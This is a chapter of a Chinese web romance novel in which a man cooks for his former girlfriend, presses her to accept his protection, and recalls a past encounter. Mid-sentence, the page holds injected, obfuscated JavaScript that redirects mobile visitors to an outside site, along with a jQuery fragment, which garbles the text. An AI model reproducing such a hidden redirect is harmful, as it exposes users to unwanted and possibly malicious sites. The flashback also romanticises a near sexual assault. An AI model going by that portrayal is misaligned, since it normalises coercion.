25. 25
作品:《潮雨日》 陈知善早就忘了什么饭,但耐不住有人不请自来,不等她说什么,已经将手里的雨伞插/进了她门口的伞筒里。
“还没买拖鞋?”隋白谦关上门,问她。
陈知善紧盯着他,沉默两秒,“没买。”
“我就知道。”
某人也不恼,直接从自己提的超市购物袋里,拎出一双深蓝色的男士皮拖鞋,放在地上,换好。
陈知善顺着他解开购物袋的动作看过去,里面杂七杂八的买了一堆,肉眼可见有水果和蔬菜,还有一些印着外国字的零食,仔细辨认了一下,是她读大学的时候常吃那几款,竟然还没有停产。
“晚饭吃了什么?”
隋白谦兀得出声,她慌忙收回视线,清嗓:“速冻饺子。”
“吃完了?”他边说边往里走。
“没。”
“为什么。”
“……煮破了。”
隋白谦脚步一顿,回头看她,只见站在身后的人穿一身茱萸粉的针织居家服,长发随意的挽成低丸子头,神色有些落寞,但眼神还执拗的紧盯着他。
隋白谦无语的笑了声。
他简直对她没招了,煮个饺子都能煮烂,不知道她在英国这几年是怎么过的。
“饺子都能煮破,高分低能?”他笑话她。
陈知善心情不大好的皱眉:“关你什么事。”
“你说关我什么事,我一次次巴巴的往你身边凑,你当我做好人好事?”
“我让你凑了?”
“嗯,你没让,我自愿的,行了不。”
她说一句他堵一句,或许放他进来就是个错误。陈知善恨恨夹他一眼,干脆不管了,自顾自走到沙发上躺下。
今天一天都好累,没力气和他闹了。
陈知善的厨房是开放式的,站在厨房的岛台,一抬头就能看见客厅,隋白谦见人去沙发上躺下,捧了本书看,轻轻呼出口气,还好,这次没义正严辞的要赶他出去。
今天来是临时起意,没有做太多准备,便从酒店附近的超市买了些食材。隋白谦挽起袖口,从购物袋里拿出肉蛋和菜,开始备菜。
陈知善偶尔抬头看一眼,恍惚间想起大三那年,隋白谦逼她出来同居。那时候他们住在宛平路的别墅,他不喜欢家里有保姆,随时随地做点什么不方便,所以除了定期有人来打扫洗衣,家里的饭一惯是他做,厨艺也是那时候练出来的。
陈知善至今都记得,隋白谦明明炸糊了一盘鸡翅,还逼着她说好吃的丑恶嘴脸!
“不想看书就来帮忙,料酒在哪。”
有声音幽幽的传过来,陈知善举着书的手一顿,隔着几米的客厅距离,和斜靠在岛台的人对视。
某人冲她挑了下眉:“嗯?”
她心里蓦得发紧,硬生生将书合上放到一边,起身。
家里的厨具、米面粮油之类的,她不一定清楚位置,日常用的那些还摆在桌面上,但像料酒这样只有炖肉才会用到的“高级调料”,她不熟悉。
于是她只好搬来一张凳子,站上去在最上面的橱柜翻了半天,终于找到了一瓶未开封的料酒。
再回头,只见隋白谦站在她旁边,一只手护在她身侧,但没有碰到她的一片衣角。
“找到了,给你。”她视线从他手边移开,不甚自在的捋了下头发。
“嗯。”隋白谦接过料酒,另一只手还浮在半空。
陈知善看懂了,不想让他扶,却被抓住手腕。隋白谦的手依旧有力,轻易挣脱不开。
“要看看怎么做吗?”
仅几秒,他握住又松开,等她平稳落地,自顾自转过身。
留陈知善一头雾水的站在原地。
“不看,看了也学不会。”
背对着她的人点点头,声音带点笑:“行,躺着看书去吧。”
莫名其妙的宠溺包容和熟稔语气,陈知善愈发搞不懂他来做什么,她离开厨房前悄咪咪打量他,只见隋白谦在认真的处理牛肉,群青色的丝绸衬衫袖口,松垮垮的挽起一截,露出紧实的小臂。
她想不通他一天一个人格究竟在演什么,趿拉着拖鞋重新回到客厅沙发处。
外面的雨还在下,甚至有越来越大的趋势,灰蒙蒙的城市被雨水包围,整个世界都安静了。
落地窗上因为气温升高而凝结了一层薄薄的暖雾,玻璃最中间映出一坨圆圆的黄色光晕,是岛台的吊灯,身后传来“笃笃笃”的做饭声。
她的心,有一瞬间像被从湿漉漉的雨水天里打捞出来一样。没想到七年过去了,她竟然还会贪恋这样平实的日常温暖。
隋白谦做饭很快,两菜一汤,一碗米饭,她落座的时候他只是坐在桌子对面,没打算动筷。
“你不吃?”
隋白谦端了杯水,“做饭的人没胃口,吃不下。”
这话他以前也说过,做饭的人闻了油烟味就没胃口吃饭了,所以他的正餐往往在她吃饱之后。
此刻陈知善握着筷子,错开他紧盯的视线,夹了一筷子。
“你吃着,我和你说点事。”
隋白谦来找她也不光是为做顿饭,还是想说陈建荣。陈知善咀嚼着饭,看了他一眼,刚要说话,却被他打断。
“我查过乔薇给你找的那个律师,能力是不错,但他并不擅长对付陈建荣那种流氓。陈知善,你听点话,要么搬去我那儿,要么我重新给你找律师团队和保镖。”
隋白谦做的饭很好吃,饶是她这么多年数次午夜梦回,总厌恶他拿这个兑换那些上不得台面的正餐,此刻也不得不承认,即便她将来走遍大江南北,也再找不到这样做饭合她胃口的人。
只是热饭堵不住嘴,少爷还是少爷,开口就是“听点话”。
但光脚不怕穿鞋的,逼疯狗入穷巷,只会自伤八百,她不情愿他为自己冒险,更不愿意再与他参杂不清。
于是陈知善放下筷子:“律师本来也不是用来对付流氓的,抓坏人是警察的事。”
“你....”
“隋白谦,你说这么多年长大的不只是我,也有你。可一个理智的成年人应该知道,不违背他人的意志、不强迫他人接受自己的决定,才是作为一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197357|195702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成年人所应该具备的素质。”
“我违背了吗?现在不是在和你商量?”
“那好,我不同意,你之后不要再提了。每个人都有自己的人生课题,你没必要纠缠在我的因果里。”
气氛顷刻冷了下来,隋白谦不说话了。
陈知善看了他一眼,叹气,起身去碗柜里找出一个大汤勺,盛出一碗鸡汤,放到他面前,“隋白谦,你以后别再......”
“还是说”,然而隋白谦并不接受她的示好,他坐在对面盯着她,忽然笑一声,将她给自己盛的鸡汤推开,“只要是我的帮助,你都不愿意接受。陈知善,是不是在你的第一顺位里,永远都是林祁。”
她微微蹙眉:“你在说什么。”
怎么好好的又说到林祁了?
隋白谦静静望着她,最后扭开脸,不再说什么:“好,不说了,你吃饭吧。”
吃过饭,隋白谦准备走了,走前还帮她拿走了垃圾袋。
陈知善看了眼窗外的倾盆大雨,嘴唇动了动,却也没说出什么。
“回去吧。”隋白谦拎着垃圾袋,按电梯按钮。
门轻轻关上了,他提着垃圾袋进电梯,在出单元门的时候顺手丢进垃圾桶。
车停在楼下,隋白谦坐进车里,久久没有动。
他和陈知善之间关系如履薄冰,禁不住再一次的争吵。
他依然记得,高中毕业后找到她的那一天,那天差点完成他们的第一次。
他将人带回酒店,只堪堪摔上了门,便用力咬住了她的唇。他几乎没想太多便撕碎了她的衣服,齿痕落在她的脖颈,恨不得亲口咬死她,直到她的眼泪滚落,生生逼回了他的理智。
当时的他气到满头大汗,却抱着她不愿放手。他一只手便能摁住她无力而脆弱的两条胳膊,他满心满眼的愤恨,望着身下几乎赤裸的人,质问她:“为什么不告而别,为什么不让我回去见曾姨最后一面,为什么最后传话的是林祁!”
“陈知善,为什么在你最难的时候,陪在你身边的是林祁而不是我!我对你算什么,我对你究竟算什么!那些接吻,都是假的吗!”
他那时候并不知道,陈知善的体力和身体根本遭不住他这样折腾,他掐着她的手,也像掐断了她的灵魂和傲骨,最后索性由他去,做什么都好,做完麻烦离开。
在那次之后,他便彻底失去了走进陈知善心里的机会。二十出头的年纪,他觉得整个世界都该为他的年少轻狂让路,包括已经一无所有的陈知善。
陈知善站在楼上,抱着胳膊朝楼下望着,那辆黑色路虎亮着车灯,却迟迟没有开走。
她站了一会儿,最后沉默的走回餐厅,坐在餐桌旁,除了那锅汤,尽力吃完了他做的菜。
晚上睡觉时,她辗转反侧,想来想去,还是想和隋白谦说声抱歉,她并不是有意不接受他的好意,她只是想自己解决这件事。
但她没想到的是,有人的短信先来了。
她已早早为他署名S:
[抱歉,我不该逼你。]
[我只是怕你有事。]

